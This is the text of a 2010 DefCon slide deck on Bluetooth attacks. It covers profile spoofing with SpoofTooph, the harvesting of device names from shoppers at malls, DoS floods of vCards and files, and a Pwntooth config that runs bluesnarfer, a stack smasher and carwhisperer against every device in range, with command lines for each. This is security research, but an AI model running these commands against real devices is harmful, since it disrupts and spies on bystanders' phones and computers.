Breaking Bluetooth
By Being Bored

JP Dunning
DefCon 2010
JP Dunning

Graduate Student:
Computer Science, Virginia Tech

Research Focus:
Wireless and Portable Security

Website:
www.hackfromacave.com
Bluetooth

- IEEE 802.15.1
- Low Power / Short Range
- Ad-Hoc (Piconet)
- Deployed on over 1 billions devices worldwide
Obfuscation and Reconnaissance
Cloning/Spoofing Profile

• Bluetooth Profile:
  – Device Address, Device Class, Device Name

• Bluetooth Profile Cloning:
  – Modify host Bluetooth Adapter profile to match the profile of another device
  – Done manually using *hciconfig* and *bdaddr*

• Bluetooth Profile Spoofing:
  – Creating a misleading profile of host Bluetooth Adapter
SpoofTooph

• Automate / simplify Bluetooth profile modification process

• Useful for
  – Obfuscation
  – Impersonations
  – Observation

• 5 different modes
SpoofToopph

- **Mode 1**: `spooftooph -i hci0 -s -d scan.log`
  - Scan local area for devices
  - Save list of devices found
  - Select a device from the list to clone

- **Mode 2**: `spooftooph -i hci0 -r`
  - Randomly generate Bluetooth profile
    - Device Class – Random Valid Class
    - Device Name - 100 most popular American names + device type
    - Device Addr – Random MAC
SpoofTooph

- **Mode 3:** `spooftooph -i hci0 -n new_name -a 00:11:22:33:44:55 -c 0x4a010c`
  - Specify Name, Class, and Address
- **Mode 4:** `spooftooph -i hci0 -l scan.log`
  - Read in previously logged scan
  - Select a device from the list to clone
- **Mode 5:** `spooftooph -i hci0 -t 10`
  - *Incognito:* Scan for devices every X seconds and clone the first profile on the list
SpoofTooph

<table>
<thead>
<tr>
<th>TYPE</th>
<th>ADDR</th>
<th>CLASS</th>
<th>NAME SERVICES</th>
</tr>
</thead>
<tbody>
<tr>
<td>0) Phone</td>
<td>00:15:03:00:00</td>
<td>0x5a0204</td>
<td>[Networking, Capturing, Object Transfer, Telephony]</td>
</tr>
<tr>
<td>1) Computer</td>
<td>00:BD:3A:E0:00</td>
<td>0x5a0100</td>
<td>[Networking, Capturing, Object Transfer, Telephony]</td>
</tr>
<tr>
<td>2) Computer</td>
<td>00:26:08:00:00</td>
<td>0x38010c</td>
<td>[Capturing, Object Transfer, Audio]</td>
</tr>
<tr>
<td>3) Computer</td>
<td>00:1D:6E:00:00</td>
<td>0x180014</td>
<td>[Object Transfer]</td>
</tr>
</tbody>
</table>

Page 1 of 3

's' make selection, 'p' previous page, 'n' next page, 'q' quite:
Bluetooth Profiling Project

- Collect *Device Name*, *Device Address* and *Device Class* on as many devices as possible
- Same idea as Josh Wright's *Bnap*, *Bnap*, but collecting device profiles from others devices instead
- Collected over 1,500 device profiles so far
Bluetooth Profiling Project

• Use for this data:
  – Mapping the address range of Bluetooth
    • Improve Redfang discovery scans
    • Matching address range with device model
  – Research
  – Discovering information disclosure
Bluetooth Profiling Project

- Disclosure of sensitive information
- What information can be gathered from the device profile?
  - Can the Device Address be used to identify the device modes?
  - What can be extracted from the device name?
Bluetooth Profiling Project

- Can the Device Address be used to identify the device modes?
  - Yes, the addresses used for Device Address (MAC) are the same as those used by Ethernet or ZigBee
  - The first 24-bits are Organizationally Unique Identifiers (OUI), registered to specific entities, often use a subset of those address ranges for a specific model of device
  - The reverse can be done to attempt to guess the address based on the device model
Bluetooth Profiling Project

- *What can be extracted from the device name?*
  - **First Name** – A first name, presumably the first name of the device owner.
  - **Last Name** – A last name, presumably the last name of the device owner.
  - **Nickname** – What appears to be a user name or 'handle'.
  - **Location** – Information that can be used to determine the location of the device.
  - **Device Model** – Identifying information that could lead to profiling the device as a specific model.
Bluetooth Profiling Project

- Percentage of devices names which disclosed sensitive information (out of the 1,500 profiles collected)

<table>
<thead>
<tr>
<th>First Name</th>
<th>Last Name</th>
<th>Location</th>
<th>Device Model</th>
<th>Nickname / Handle</th>
</tr>
</thead>
<tbody>
<tr>
<td>28.17%</td>
<td>18.76%</td>
<td>1.30%</td>
<td>70.54%</td>
<td>1.51%</td>
</tr>
</tbody>
</table>
Mall Nibbling

Dropping by your local mall to collect information on the cornucopia of Bluetooth devices.
Performing Mall Nibbling: Things to Know

- Come equipped with a Class 1 bluetooth dongle (antenna attachment optional, but recommended :)
- Obfuscate your Bluetooth interface
- While device discovery takes less then 2 seconds, getting the name of the device requires a follow up request. Plan on spending at least 1 minute per location for each scan.
Offensive
vCardBlaster

- vCard - “Virtual Business Card”
  - Used to exchange personal information
- Many Bluetooth devices allow exchange of vCards
  - Phones, PDAs, PCs, etc
vCardBlaster

- vCardBlaster is capable of sending a constant stream of vCards over Bluetooth
  - Users can select a single target or attack all devices in range
  - vCards can be specified or generated by vCardBlaster
Bluetooth vCard Contact List DoS

- vCardBlaster can be used to perform a DoS on a Contact List

- Vuln:
  - Some devices, upon receiving a vCard, will automatically add the information to the local Contact List.
  - Each name provided in the vCard must be unique.
  - Sending a flood of vCards fills up the contact list with new false contacts
vCardBlaster

Shell - Konsole

Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].
Sending vCard to [FD:3E:3B].

Big Brother #IY
Big Brother 𝪋, faculties
Big Brother нология
Big Brother )(((V)
Big Brother ၿ صحيح
Big Brother မြန်
Big Brother ̀ţhj§
Big Brother ¾SU¢—£

© Shadow Cave LLC
Blueper

- Blueper is capable of sending a constant stream of files over Bluetooth
  - Users can select a single target or attack all devices in range
  - Files can be specified or generated
  - User can specify file size
Bluetooth OBEX Disk Cache DoS

- Blueper can be used to perform a DoS using the system's caching of file data.

- Vuln:
  - Some devices cache files sent over Bluetooth OBEX before prompting the user to accept or reject the file transfer.
  - Sending files over extended periods of time can fill up disk.
  - It can cause a system crash.
Blueper
Pwntooth

- Suite of Bluetooth attack tools
- Designed to automate multiple attacks against multiple targets.
- Comes bundled with tools like:
  - Bluetooth Stack Smasher
  - BT_AUDIT
  - Bluesnrf
  - Blueper / vCardBlaster
Pwntooth

- Pwntooth uses a user defined config file as an attack script
- This config file uses * as a wild card character for device address
### pwntooth.conf

```bash
### hcitool info ###
hcitool info *

### sdptool info ###
sdptool records *

### bluesnarf ###
#.bluesnarfer -r A-Z -b *

### bluetooth stack smasher ###
#.bss -s 100 -m 12 -M 0 *,

### carwhisperer ###
#.carwhisperer 0 audio.raw recorded.raw * 7,

### vCardBlaster ###
#.vcblaster -g -t 10 *

### blueper ###
#.blueper -e -s 1000 -t delete_me -n Update *

### psm_scan ###
#.psm_scan -c e 4095 *
```
Pwntooth

- Default config /etc.bluetooth/pwntooth.conf
- If a address device is detected in multiple iterations of scans, the attacks listed in the config file are only run the first time
- Example: Scan area 10 times and save output to logfile.txt using default config.

  > pwntooth -l logfile.txt -s 10
Project Pages

www.hackfromacave.com

- vCardBlaster:  www.hackfromacave.com/vcardblaster.html
- Blueper:  www.hackfromacave.com/blueper.html
- Pwntooth:  www.hackfromacave.com/pwntooth.html